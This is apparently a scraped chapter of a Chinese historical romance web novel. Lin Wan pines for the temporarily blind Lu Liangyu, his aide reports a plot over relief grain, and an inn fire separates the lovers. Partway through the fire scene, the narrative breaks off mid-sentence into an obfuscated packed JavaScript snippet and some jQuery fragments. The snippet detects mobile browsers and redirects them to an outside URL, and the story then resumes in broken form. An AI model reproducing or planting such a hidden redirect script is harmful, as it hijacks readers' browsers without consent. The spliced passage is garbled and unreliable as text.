其实林婉也没发现此时此刻的自己,落在旁人眼中是多么的深情。
只是觉得,相看说媒是她无论如何都逃脱不掉的,那为何不遵循内心,去追逐心意所向呢。
“姑娘,陆公子会不会是已经心有所属?”桃红小心的问。
“……”
桃红还是有些担忧:“相处都这么长时间了,可陆公子依旧对姑娘你不冷不热的,莫不是因早已……”
“不可能。”林婉一笑,“你瞧瞧他一副不近女色的模样,怎会是开过荤的人呢,你瞧瞧家中已经娶妻纳妾的几个表哥堂兄的,为人做派完全不一样。”
“我反而觉得陆公子就是个从和尚寺庙中出来的,那么美的一妙龄女子在身侧,都依然清心寡欲,果真是个眼瞎不懂欣赏。”
桃红:“对呀,公子现在真的就是患有眼疾瞎了,那姑娘可要放弃?”
“不会放弃的,他终会眼睛好了的那日,华医圣还说很快他就可以看见了,到时候,他定会对我上心在意的。”
“你对他有意,可我们连他究竟是何方人士都不清楚,这真的好吗?莫不会他见姑娘你心善,故意欺骗咱们得吧?”
“寻常人家的公子怎会被贼人伤得那么重,不会是惹到什么不该惹的人吧,这会不会连累咱们啊?”
林婉眉眼寂寂。
这些考虑,她不是不知,而是她不愿去想。
若是想要来日方长,这些事情不可不考虑。
“明日再问问。”
她看着桌面那碗早已凉透的汤药,缓缓道:“我娘已经不在了,你倒越发的像家中的那位姨娘,这么操心我的事,不过,你放心,我知晓怎么做的。”
“姑娘……”
“若他真的无意,我也不强求,这都还没开始,你也莫要那么担心啦。”
—
夜凉如水。
陆良玉在房里坐了好一会儿。
直到走廊外再没任何声响。
窗沿窸窣一声响动,沈容时手脚轻快翻窗而入。
落地刹那,沈容时明显感到房内气氛不对,瞧见陆良玉静坐一旁,就着烛光摩挲手上沾染了汤药的手帕。
“……我来的不是时候?”沈容时试探的往窗边后退两步,“要不我晚点再来?”
陆良玉低声:“回来。”
“好的,”沈容时一脸狗腿似的立即奔到他面前,“你瞧,我多忠心,世子你叫我往东,我从不敢往西。”
对于沈容时的花言巧语,他直接忽略了,悠悠开口:“不是让你去盯着人吗,怎么又来了?”
“事情有变!”沈容时敛了神色,“本是在十里谷设了探子的,昨夜急报,运送赈灾粮的队伍并没有按原先定好的路线走,而是上了官船,走水路,往蜀地方向。”
陆良玉一听,微挑眉,冷呵一声:“蠢货,赈灾粮上了船,内河弯道许多,恐怕如今在路途中被人掉包了都不知道。”
“那……这可如何是好?”
沈容时跟在他身旁做事许久,从不曾这般大意失手,此番他放手让自己处理事情,却出了这么大的疏忽,一时焦急不知该如何。
陆良玉语气冷漠如寒铁:“你竟然如此疏忽大意,让对方混进了内贼都不知晓,仔细想想,晋王的密令,你嘱托了哪几个人去办的?”
“……是他?!”
“立即将人逮住,恐怕他递了消息后会连夜逃走,”陆良玉厉色道,“最迟天亮前,就必须要出发,他们走水路,要赶在他们进入内河前截住,再迟,恐再生变。”
“明白,我现在就马上赶回去。”
沈容时转身要走,却被陆良玉叫住了。
陆良玉摘下了束缚在眼睛上的眼纱,艰难地抬起眼皮,朦胧中依稀看到了微弱的烛光。
“你的眼睛……”
“略微能看到些了。”陆良玉手握方才摘下的绸带眼纱,眼睛瞧得虽然不是很清楚,但相较于早些时候,已经好很多了。
沈容时一喜:“看来我传信让华医圣过来,是明智之举。”
“你传信回京城,让人进宫里的太医院,找太医取秘制的祛疤美颜膏,送来给她。”
沈容时再三打量了他,最终没多问,应下好。
他要立即先行离去布置,临末提及客栈留有保护他的暗卫:“虽说眼睛能看到一点,但才刚刚恢复,视力恐怕有难以顾及的,若是遇突袭事,暗卫也能保安全。”
陆良玉沉默,并没有拒绝此事安排。
-
入夜。
林婉在睡梦中辗转反侧,噩梦连连。
梦见她站在悬崖边,底下是滔滔不绝的滚滚江水。
她震惊的望着方才画面中跌落江水的陆良玉,想奔上前去救,却被从天而降的大火阻隔了去路。
熊熊大火越烧越旺,即便深陷梦中的她,也险些被烧伤,炽热的刺痛感并不虚假。
“姑娘,姑娘,快醒醒!”
梦中的陆良玉早已被江水卷入不知何踪影,林婉猛的一下睁开了双眼,映入眼帘是焦急万分的桃红。
“姑娘,快走,起火了!”
林婉刚从噩梦中惊醒,整个人还未完全清醒,浑浑噩噩,被桃红一把拉住,从房里奔了出来。
映入眼帘,火光冲天,敲锣打鼓的乱嚷嚷,只见火苗从一楼的厨房里窜出来,一下子,借助风势,猛的往二楼烧过来。
空气中浓烟呛鼻,双眼被火气燎得睁不开。
桃红死死的抓紧她的手,躲过被火苗烧断的房梁,冲出了客栈。
客栈大门外头,看见乌泱泱一群人都聚在此处,皆是从客栈里逃命出来的。
连汴州城的巡逻队也惊动了,正调动军兵救火,年轻力壮的也纷纷加入救火队伍。
“大家互相瞧瞧,可还有认识的人没从客栈里逃出来的?”一旁满脸灰炭狼狈的掌柜大喊,让逃命出来的店伙计赶忙留意人。
大家四顾相看。
林婉却在焦急的寻找陆良玉身影,可是,杂乱无章的人影里……并没有他。
转头看向那浓黑的烟直往天上翻滚、火苗吞噬的客栈,他……还在里面!
抬起脚步,她朝火光跑去。
“姑娘!你去哪!”
“他的眼睛看不见,我要去救他!”
林婉使劲掰开桃红紧抓自己的双手,穿过人群,慌乱地奔入火焰当中。
“那个刚才跑进去的是谁?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178163|180820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找死!”不知谁大吼一声。
客栈一楼早已被烧得不成样了,上二楼的楼梯也已经被火烧断,浓烈的黑烟呛住了口鼻。
林婉一手捂住口鼻,使劲从火焰中寻找可上二楼的办法。
“噼啪——轰!”
高处一条横梁滚着火苗直直砸向林婉。
眼见就要落到她的身上。
忽然,一壮汉猛的把她拉住,躲开了。
横梁砸落在地上,溅起无数乱飞的火花,她躲闪不及,被溅起的火花夹杂碎片再次伤到了脸颊。
“啊!”钻心地刺痛直冲大脑。
灰头土面的壮汉使劲把她从火中救出来后,怒气喊:“你想死就滚远点,别在这捣乱。”
她被浓烟呛住的喉咙,止不住咳嗽,一边压着胸口一边无助的望向火光滔天的客栈。
桃红死死的扶稳她,不敢松懈,宽慰:“陆公子定是往另一处逃出来了,莫怕,待会就能见着他了。”
可身侧的人并没有回应,桃红抬眸看向她,看到满是烟灰的脸上,本是已经渐渐愈合的伤口再次添一道火花烧到的伤口。
她脸上满是骇然与慌张,痛彻心扉的眼泪早已流在了满是烟灰的脸上,茫然地望着火中的客栈。
浓黑的烟与漆黑的天融成一体,以及那呛鼻的味道,一同直冲夜空,宛如无尽的深渊,埋葬了她最初、最美好的悸动。
直到天亮,火渐渐停息下来,乌云压上了汴州城头顶,稀稀疏疏飘落了毛毛细雨。
起风了,吹熄缠绕在断木残骸上的最后一丝火苗。
客栈已全部被烧毁,地面上只剩被烧成灰炭的的残垣。
掌柜与巡逻队的在交涉火灾后的事宜,从客栈里逃生出来的人,三三两两地围在一起,你一嘴他一嘴的说着这场忽然的起火。
“可吓死老娘我了,幸好昨夜我睡不着,才能逃得那么快。”
“好端端怎么会起火呢,夜里不是有人守夜吗?”
“我也不知道,我正在房里哄着小孩睡觉呢,听见外头乱嚷嚷叫起来,忙跑出来看,幸好啊,我赶紧抱起小孩就跑了。”
“起火前,我听到二楼东侧有轰隆的砸东西声音,你们有没听到?”
火灭后,开始有人往客栈里走去,试图寻找幸存的东西物品。
林婉在桃红的搀扶中,一步一步往被烧毁的房间走去,刺鼻的气味,焦黑的残迹,并没有看到他的身影。
回望四周,他存在的痕迹也烧毁得无影无踪。
漆黑的木桌残骸下,微微一点亮白。
林婉上前蹲下,使劲挪开木桌残骸,露出那一抹亮白。
是他从不离身挂在腰间的玉佩,雕刻“陆”字,配有玉兰花纹。
林婉小心翼翼的捡起,颤抖的捧在手中,眼睛渐渐蒙上一层薄薄水雾:“既然没见到,或许他也已经被人救了出去。”
桃红瞧见她的眼泪一滴一滴滑落,润湿了被火花灼伤的伤口,化脓的污血融入了泪水中,十分的心疼,耐心安慰道:“姑娘,脸伤要紧,若公子眼疾好了,也是希望看到姑娘的伤好了。”
她将手上的玉佩握得死紧死紧,神色空了一瞬,仿佛有什么东西离去,无声无息。